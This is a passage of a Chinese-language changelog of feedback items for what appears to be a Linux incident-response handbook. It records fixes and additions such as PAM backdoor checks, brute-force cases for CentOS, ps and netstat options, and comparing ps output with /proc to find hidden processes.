left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 22:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 手册无法搜索、复制中文</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0002</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-11 17:36</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">手册无法搜索、复制中文</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 22:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3.  常规安全检查添加 pam 后门部分</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0003</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 16:51</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">常规安全检查添加 pam 后门部分</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 21:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4.  暴力破解章节加入 Centos 系案例</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0004</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 18:46</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暴力破解章节加入 Centos 系案例</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-01 00:32</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">基本通用，只修改了小部分</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5.  新增章节 —— 需要注意的问题</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0005</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加一个新章节，告诉大家需要注意的问题，例如 </span><code><span leaf="">rm ./*</span></code><span leaf=""> 是不会删除以 </span><code><span leaf="">.</span></code><span leaf=""> 开头的文件和文件夹的</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:40</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6.  netstat 不显示pid情况 +1</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0006</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">netstat 不显示pid情况 +1</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 21:58:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7.  ps 命令加入 -w 参数</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0007</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">ps 的 -w 参数可以保证显示内容不被截断</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 23:23:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">目前仅添加了参数，部分图片没有修改，后续升级版本截图时一并修改</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">8.  常见问题的解决办法章节添加 history 无记录情况</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0008</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">常见问题的解决办法章节添加 history 无记录情况</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 22:58:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">最终考虑再三，放在了知识点附录里</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">9.  比对 ps 命令与 proc 目录中 pid 的不同</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0009</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-05-14 15:38</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">比对 ps 命令与 proc 目录中 pid 的不同，若存在 ps 中没有，但是 proc 目录中有 pid 的可能为恶意进程</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 22:38:12</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">10.  添加查找特定时间段创建、修改文件</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0010</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-04-29 15:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">查找文件部分添加查找特定时间段创建、修改文件，这有助于找到特定时段攻击者创建或修改的恶意文件</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px 